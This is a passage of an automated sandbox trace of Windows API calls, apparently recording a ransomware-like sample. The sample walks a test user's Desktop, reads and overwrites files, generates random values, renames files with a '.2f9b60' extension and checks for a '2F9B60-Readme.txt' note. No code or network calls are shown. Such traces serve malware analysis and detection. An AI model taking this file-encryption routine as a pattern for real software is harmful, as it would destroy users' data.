HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.952] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8699c0) returned 1 [0108.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 Thread: id = 776 os_tid = 0x1304 [0098.598] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3BQRU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3bqru.m4a")) returned 0x20 [0098.598] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3BQRU.m4a", dwFileAttributes=0x20) returned 1 [0098.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3BQRU.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3bqru.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14a0 [0098.598] GetFileSizeEx (in: hFile=0x14a0, lpFileSize=0x2170f700 | out: lpFileSize=0x2170f700*=50422) returned 1 [0098.598] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0xc4f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.598] ReadFile (in: hFile=0x14a0, lpBuffer=0x2170f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2170f6c8, lpOverlapped=0x0 | out: lpBuffer=0x2170f680*, lpNumberOfBytesRead=0x2170f6c8*=0x4, lpOverlapped=0x0) returned 1 [0098.599] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0098.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202605f0 [0098.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260620 [0098.599] NtQuerySystemTime (in: CurrentTime=0x2170f5c0 | out: CurrentTime=0x2170f5c0*=132462177041218000) returned 0x0 [0098.599] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x2bcf127e [0098.599] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x240c85b6 [0098.599] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x4107bba7 [0098.599] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x5415a0ef [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x5fd13a6b [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x622a9c64 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x6db3b267 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x13196f02 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x6153b024 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x651ef13b [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x571f0af6 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x16f14a20 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x4a62b843 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x45be09fa [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x2c3082b4 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x1925fe1d [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x1c5ae205 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x403e2112 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x222fb69d [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x13c4d202 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x134447c2 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x18a528b5 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x226af25 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x23a15870 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x519ceb6 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x776077f8 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x41bd476e [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x4b46e850 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x136f2082 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x4ede1b8e [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x3773d92 [0098.600] RtlRandomEx (in: Seed=0x2170f5b0 | out: Seed=0x2170f5b0) returned 0x6c5a140e [0098.616] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.616] ReadFile (in: hFile=0x14a0, lpBuffer=0x201d78d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2170f620, lpOverlapped=0x0 | out: lpBuffer=0x201d78d0*, lpNumberOfBytesRead=0x2170f620*=0x3c00, lpOverlapped=0x0) returned 1 [0098.616] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.616] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0098.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260560) returned 1 [0098.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20204990 [0098.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260560 [0098.617] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260620 [0098.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260620) returned 1 [0098.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.617] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.617] WriteFile (in: hFile=0x14a0, lpBuffer=0x20204990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2170f620, lpOverlapped=0x0 | out: lpBuffer=0x20204990*, lpNumberOfBytesWritten=0x2170f620*=0x3c00, lpOverlapped=0x0) returned 1 [0100.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20204990) returned 1 [0100.499] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201d78d0) returned 1 [0100.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0100.912] SetFilePointerEx (in: hFile=0x14a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.913] WriteFile (in: hFile=0x14a0, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2170f6d0, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x2170f6d0*=0x104, lpOverlapped=0x0) returned 1 [0101.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869cc0 [0101.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0101.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a40) returned 1 [0101.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0101.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a40 [0101.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0101.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0101.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0101.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x20260a10 [0101.914] sprintf (in: _Dest=0x20260a10, _Format="%c%c" | out: _Dest="0b") returned 2 [0101.914] sprintf (in: _Dest=0x20260a12, _Format="%c%c" | out: _Dest="2d") returned 2 [0101.914] sprintf (in: _Dest=0x20260a14, _Format="%c%c" | out: _Dest="8a") returned 2 [0101.914] sprintf (in: _Dest=0x20260a16, _Format="%c%c" | out: _Dest="1b") returned 2 [0101.914] sprintf (in: _Dest=0x20260a18, _Format="%c%c" | out: _Dest="43") returned 2 [0101.914] sprintf (in: _Dest=0x20260a1a, _Format="%c%c" | out: _Dest="42") returned 2 [0101.914] sprintf (in: _Dest=0x20260a1c, _Format="%c%c" | out: _Dest="67") returned 2 [0101.914] sprintf (in: _Dest=0x20260a1e, _Format="%c%c" | out: _Dest="92") returned 2 [0101.914] sprintf (in: _Dest=0x20260a20, _Format="%c%c" | out: _Dest="b5") returned 2 [0101.914] sprintf (in: _Dest=0x20260a22, _Format="%c%c" | out: _Dest="02") returned 2 [0101.914] sprintf (in: _Dest=0x20260a24, _Format="%c%c" | out: _Dest="ce") returned 2 [0101.914] sprintf (in: _Dest=0x20260a26, _Format="%c%c" | out: _Dest="dd") returned 2 [0101.914] sprintf (in: _Dest=0x20260a28, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.915] sprintf (in: _Dest=0x20260a2a, _Format="%c%c" | out: _Dest="03") returned 2 [0101.915] sprintf (in: _Dest=0x20260a2c, _Format="%c%c" | out: _Dest="6f") returned 2 [0101.915] sprintf (in: _Dest=0x20260a2e, _Format="%c%c" | out: _Dest="a0") returned 2 [0101.915] sprintf (in: _Dest=0x20260a30, _Format="%c%c" | out: _Dest="93") returned 2 [0101.915] sprintf (in: _Dest=0x20260a32, _Format="%c%c" | out: _Dest="5c") returned 2 [0101.915] RtlInitAnsiString (in: DestinationString=0x2170f748, SourceString="0b2d8a1b43426792b502cedd6f036fa0935c" | out: DestinationString="0b2d8a1b43426792b502cedd6f036fa0935c") [0101.915] RtlAnsiStringToUnicodeString (in: DestinationString=0x2170f718, SourceString="0b2d8a1b43426792b502cedd6f036fa0935c", AllocateDestinationString=1 | out: DestinationString="0b2d8a1b43426792b502cedd6f036fa0935c") returned 0x0 [0101.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c3d0 [0101.915] wcscat (in: _Dest=0x1b869cc0, _Source="0b2d8a1b4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0b2d8a1b4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0b2d8a1b4" [0101.915] wcscat (in: _Dest=0x1b869cc0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0b2d8a1b4.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0b2d8a1b4.2f9b60" [0101.915] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0b2d8a1b4.2f9b60", NtPathName=0x2170f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0b2d8a1b4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1d70 [0108.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 [0108.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051d20) returned 1 [0108.957] NtQueryInformationFile (in: FileHandle=0x14a0, IoStatusBlock=0x2170f758, FileInformation=0x2170f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2170f758, FileInformation=0x2170f768) returned 0x0 [0108.957] NtSetInformationFile (FileHandle=0x14a0, IoStatusBlock=0x2170f758, FileInformation=0x2170f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0108.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c3d0) returned 1 [0108.969] FlushFileBuffers (hFile=0x14a0) returned 1 [0108.974] CloseHandle (hObject=0x14a0) returned 1 [0108.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869cc0 [0108.976] wcscpy (in: _Dest=0x1b869cc0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0108.976] wcscat (in: _Dest=0x1b869cc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0108.976] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0108.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869cc0) returned 1 [0108.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863c00) returned 1 Thread: id = 777 os_tid = 0x1308 [0098.626] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a3490 [0098.626] wcscpy (in: _Dest=0x1b7a3490, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0098.627] wcscat (in: _Dest=0x1b7a3490, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0098.627] wcscat (in: _Dest=0x1b7a3490, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\*" [0098.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56a40 [0098.627] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\*", lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x573154d0, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0x8721d770, ftLastAccessTime.dwHighDateTime=0x1d5e20a, ftLastWriteTime.dwLowDateTime=0x8721d770, ftLastWriteTime.dwHighDateTime=0x1d5e20a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d430 [0098.627] wcscmp (_String1=".", _String2=".") returned 0 [0098.627] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x573154d0, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0x8721d770, ftLastAccessTime.dwHighDateTime=0x1d5e20a, ftLastWriteTime.dwLowDateTime=0x8721d770, ftLastWriteTime.dwHighDateTime=0x1d5e20a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.627] wcscmp (_String1="..", _String2=".") returned 1 [0098.627] wcscmp (_String1="..", _String2="..") returned 0 [0098.627] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cf4d230, ftCreationTime.dwHighDateTime=0x1d5de5c, ftLastAccessTime.dwLowDateTime=0x4c9811c0, ftLastAccessTime.dwHighDateTime=0x1d5db87, ftLastWriteTime.dwLowDateTime=0x4c9811c0, ftLastWriteTime.dwHighDateTime=0x1d5db87, nFileSizeHigh=0x0, nFileSizeLow=0x18b35, dwReserved0=0x0, dwReserved1=0x0, cFileName="3FTxaZNBe2-ojiT34.csv", cAlternateFileName="3FTXAZ~1.CSV")) returned 1 [0098.627] wcscmp (_String1="3FTxaZNBe2-ojiT34.csv", _String2=".") returned 1 [0098.627] wcscmp (_String1="3FTxaZNBe2-ojiT34.csv", _String2="..") returned 1 [0098.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af3d0 [0098.627] wcscpy (in: _Dest=0x202af3d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0098.627] wcscat (in: _Dest=0x202af3d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0098.627] wcscat (in: _Dest=0x202af3d0, _Source="3FTxaZNBe2-ojiT34.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\3FTxaZNBe2-ojiT34.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\3FTxaZNBe2-ojiT34.csv" [0127.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c [0127.031] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87bacfb0, ftCreationTime.dwHighDateTime=0x1d5e5c6, ftLastAccessTime.dwLowDateTime=0xfdf99340, ftLastAccessTime.dwHighDateTime=0x1d5dc94, ftLastWriteTime.dwLowDateTime=0xfdf99340, ftLastWriteTime.dwHighDateTime=0x1d5dc94, nFileSizeHigh=0x0, nFileSizeLow=0x9676, dwReserved0=0x0, dwReserved1=0x0, cFileName="AKVsOMhVv.png", cAlternateFileName="AKVSOM~1.PNG")) returned 1 [0127.031] wcscmp (_String1="AKVsOMhVv.png", _String2=".") returned 1 [0127.031] wcscmp (_String1="AKVsOMhVv.png", _String2="..") returned 1 [0127.031] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b866a40 [0127.031] wcscpy (in: _Dest=0x1b866a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0127.031] wcscat (in: _Dest=0x1b866a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0127.031] wcscat (in: _Dest=0x1b866a40, _Source="AKVsOMhVv.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\AKVsOMhVv.png" [0127.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf4 [0127.032] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44533450, ftCreationTime.dwHighDateTime=0x1d5e793, ftLastAccessTime.dwLowDateTime=0xc7070070, ftLastAccessTime.dwHighDateTime=0x1d5e4eb, ftLastWriteTime.dwLowDateTime=0xc7070070, ftLastWriteTime.dwHighDateTime=0x1d5e4eb, nFileSizeHigh=0x0, nFileSizeLow=0x139c, dwReserved0=0x0, dwReserved1=0x0, cFileName="e7k8Lxa3x8CHp9jkA.ods", cAlternateFileName="E7K8LX~1.ODS")) returned 1 [0127.032] wcscmp (_String1="e7k8Lxa3x8CHp9jkA.ods", _String2=".") returned 1 [0127.032] wcscmp (_String1="e7k8Lxa3x8CHp9jkA.ods", _String2="..") returned 1 [0127.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202aea40 [0127.033] wcscpy (in: _Dest=0x202aea40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0127.033] wcscat (in: _Dest=0x202aea40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0127.033] wcscat (in: _Dest=0x202aea40, _Source="e7k8Lxa3x8CHp9jkA.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e7k8Lxa3x8CHp9jkA.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\e7k8Lxa3x8CHp9jkA.ods" [0127.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aea40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0127.034] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df825e0, ftCreationTime.dwHighDateTime=0x1d5dc1b, ftLastAccessTime.dwLowDateTime=0x4c255da0, ftLastAccessTime.dwHighDateTime=0x1d5df07, ftLastWriteTime.dwLowDateTime=0x4c255da0, ftLastWriteTime.dwHighDateTime=0x1d5df07, nFileSizeHigh=0x0, nFileSizeLow=0x17fec, dwReserved0=0x0, dwReserved1=0x0, cFileName="eiSkWEC qdkb.m4a", cAlternateFileName="EISKWE~1.M4A")) returned 1 [0127.034] wcscmp (_String1="eiSkWEC qdkb.m4a", _String2=".") returned 1 [0127.034] wcscmp (_String1="eiSkWEC qdkb.m4a", _String2="..") returned 1 [0127.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b866740 [0127.034] wcscpy (in: _Dest=0x1b866740, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0127.034] wcscat (in: _Dest=0x1b866740, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0127.034] wcscat (in: _Dest=0x1b866740, _Source="eiSkWEC qdkb.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\eiSkWEC qdkb.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\eiSkWEC qdkb.m4a" [0127.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0127.035] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18dc0aa0, ftCreationTime.dwHighDateTime=0x1d5e517, ftLastAccessTime.dwLowDateTime=0x87234ac0, ftLastAccessTime.dwHighDateTime=0x1d5e1cd, ftLastWriteTime.dwLowDateTime=0x87234ac0, ftLastWriteTime.dwHighDateTime=0x1d5e1cd, nFileSizeHigh=0x0, nFileSizeLow=0x10ac2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MzczhE8q8xYIFf.swf", cAlternateFileName="MZCZHE~1.SWF")) returned 1 [0127.035] wcscmp (_String1="MzczhE8q8xYIFf.swf", _String2=".") returned 1 [0127.035] wcscmp (_String1="MzczhE8q8xYIFf.swf", _String2="..") returned 1 [0127.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202af610 [0127.036] wcscpy (in: _Dest=0x202af610, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt" [0127.036] wcscat (in: _Dest=0x202af610, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\" [0127.036] wcscat (in: _Dest=0x202af610, _Source="MzczhE8q8xYIFf.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\MzczhE8q8xYIFf.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\42Pt\\MzczhE8q8xYIFf.swf" [0127.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xae8 [0127.037] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1ce56a40 | out: lpFindFileData=0x1ce56a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa27aee20, ftCreationTime.dwHighDateTime=0x1d5e0b7, ftLastAccessTime.dwLowDateTime=0x7d139030, ftLastAccessTime.dwHighDateTime=0x1d5df66, ftLastWriteTime.dwLowDateTime=0x7d139030, ftLastWriteTime.dwHighDateTime=0x1d5df66, nFileSizeHigh=0x0, nFileSizeLow=0x6f1c, dwReserved0=0x0, dwReserved1=0x0, 